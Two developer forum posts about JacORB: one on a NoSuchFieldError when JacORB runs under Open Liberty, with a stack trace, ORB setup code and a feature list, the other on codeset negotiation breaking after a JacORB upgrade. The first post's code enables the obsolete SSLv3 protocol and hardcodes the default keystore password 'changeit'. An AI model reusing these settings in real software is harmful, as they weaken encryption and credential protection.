But when our app moved to cloud with open liberty (IBM CIO Cloud Hybrid), the JacORB seem did not work. Every time I tried, I met a same message:

[err] Exception in thread "ClientMessageReceptor0" [err] java.lang.NoSuchFieldError: org/omg/GIOP/ReplyHeader_1_0.reply_status [err] at org.jacorb.orb.giop.ReplyInputStream.<init>(ReplyInputStream.java:71) [err] at org.jacorb.orb.giop.ClientConnection.replyReceived(ClientConnection.java:362) [err] at org.jacorb.orb.giop.GIOPConnection.receiveMessagesLoop(GIOPConnection.java:825) [err] at org.jacorb.orb.giop.GIOPConnection.receiveMessages(GIOPConnection.java:533) [err] at org.jacorb.orb.giop.MessageReceptor.doWork(MessageReceptor.java:69) [err] at org.jacorb.util.threadpool.ConsumerTie.run(ConsumerTie.java:60) [err] at java.lang.Thread.run(Thread.java:811)
My app is very simple.

`
// Init props for creating orb
Properties props = new Properties();

    // Using jacORB
    props.put( "org.omg.CORBA.ORBClass", "org.jacorb.orb.ORB" );
    props.put( "org.omg.CORBA.ORBSingletonClass", "org.jacorb.orb.ORBSingleton" );

    // SSL Configuration
    props.put("jacorb.security.support_ssl", "on");
    props.put("jacorb.security.ssl.client.supported_options", 40);
    props.put("jacorb.security.ssl.client.required_options", 40);
    props.put("jacorb.security.jsse.client.key_manager_algorithm", "IbmX509");
    props.put("jacorb.security.jsse.client.trust_manager_algorithm", "IbmX509");
    props.put("jacorb.ssl.socket_factory", "org.jacorb.security.ssl.sun_jsse.SSLSocketFactory");
    props.put("jacorb.ssl.server_socket_factory", "org.jacorb.security.ssl.sun_jsse.SSLServerSocketFactory");
    props.put("jacorb.security.ssl.client.protocols", "SSLv3,TLSv1.2");
    props.put("jacorb.security.ssl.server.protocols", "SSLv3,TLSv1.2");
    props.put("jacorb.security.keystore", "cacerts.sslmq.sslasmview.jks");
    props.put("jacorb.security.keystore_password", "changeit");
    props.put("jacorb.security.jsse.trustees_from_ks", "on");

    // Initialize orb with above props
    ORB orb = ORB.init( (String[])null, props );
    Any siInfo = orb.create_any();

    MyServiceManager txnService = MyServiceManagerHelper.narrow(orb.string_to_object(ior));
    txnService.Tx_DoSomething("arg1", "arg2", "arg3");

`

And here is the feature list of our open liberty

<featureManager>

    <feature>appClientSupport-1.0</feature>
    <feature>appSecurity-2.0</feature>
    <feature>appSecurity-3.0</feature>
    <feature>batch-1.0</feature>
    <feature>beanValidation-2.0</feature>
    <feature>cdi-2.0</feature>
    <feature>concurrent-1.0</feature>
    <feature>distributedMap-1.0</feature>
     <feature>ejb-3.2</feature>
    <feature>ejbHome-3.2</feature>
    <feature>ejbLite-3.2</feature>
    <feature>ejbPersistentTimer-3.2</feature>
    <feature>ejbRemote-3.2</feature>  
    <feature>el-3.0</feature>
    <feature>j2eeManagement-1.1</feature>
    <feature>jacc-1.5</feature>
    <feature>jaspic-1.1</feature>
    <feature>javaMail-1.6</feature>
    <feature>javaee-8.0</feature>
    <feature>jaxb-2.2</feature>
    <feature>jaxrs-2.1</feature>
    <feature>jaxrsClient-2.1</feature>
    <feature>jaxws-2.2</feature>
    <feature>jca-1.7</feature>
    <feature>jcaInboundSecurity-1.0</feature>
    <feature>jdbc-4.2</feature>
    <feature>jms-2.0</feature>
    <feature>jndi-1.0</feature>
    <feature>jpa-2.2</feature>
    <feature>jpaContainer-2.2</feature>
    <feature>jsf-2.3</feature>
    <feature>jsonb-1.0</feature>
    <feature>jsonp-1.1</feature>
    <feature>jsp-2.3</feature>
    <feature>managedBeans-1.0</feature>
    <feature>mdb-3.2</feature>
    <feature>servlet-4.0</feature>
    <feature>ssl-1.0</feature>
    <feature>wasJmsClient-2.0</feature>
    <feature>wasJmsSecurity-1.0</feature>
    <feature>wasJmsServer-1.0</feature>
    <feature>webProfile-8.0</feature>
    <feature>websocket-1.1</feature>
    <feature>localConnector-1.0</feature>
</featureManager>

If I remove all features except servlet-4.0, the JacORB work flawlessly.
I did test with open liberty in my local environment and it the same.
I don't know why, but currently, I cannot remove any feature because I don't have full permission and removing any features can caused issue with parts of our app.
Thanks for reading.

Hi,

A bit of background information first. We have a server running Ubuntu or RedHat running our server application written in C++ (using ACE/TAO). Our client application (using JacORB) is written in Java and runs on Windows machines. The server application uses UTF-8 as native codeset and the client application uses Cp-1252 as native codeset.

We were using JacORB 3.0 until recently and have now upgraded to 3.9. After the upgrade we noticed the TCS negotiation was no longer performed.

After some debugging I think we found the cause. I could be completely wrong though; I'm not very familiar with JacORB or CORBA in general.

What we see is the following:

• Delegate is created with a default PIOR (1.0)
• codeSet is set, ignored because GIOP 1.0, TCS marked as negotiated
• first message is sent to server
• server sends reply, containing codeset info
• rebind is performed
• PIOR is reset (now 1.2)
• clientConnectionManager cannot release connection because there's still 1 client) (probably a fix for Bug1014?)
• delegate will not update codeset, because TCS already marked as negotiated.

In JacORB 3.0, the clientConnectionManager would close the connection successfully, a new connection would be made and codeset negotiation would be triggered.

I'm not quite sure what the proper solution to this may be. In our local branch I removed the line in ClientConnection that marks TCS as negotiated when GIOP = 1.0. And did the same in RequestOutputStream.write_to. This seems to have fixed the problem for us. Subsequent calls to ClientConnection.setCodeSet with a different PIOR now won't be ignored, but I'm not sure if this change has any other unwanted side-effects.

gr.

DvdOuden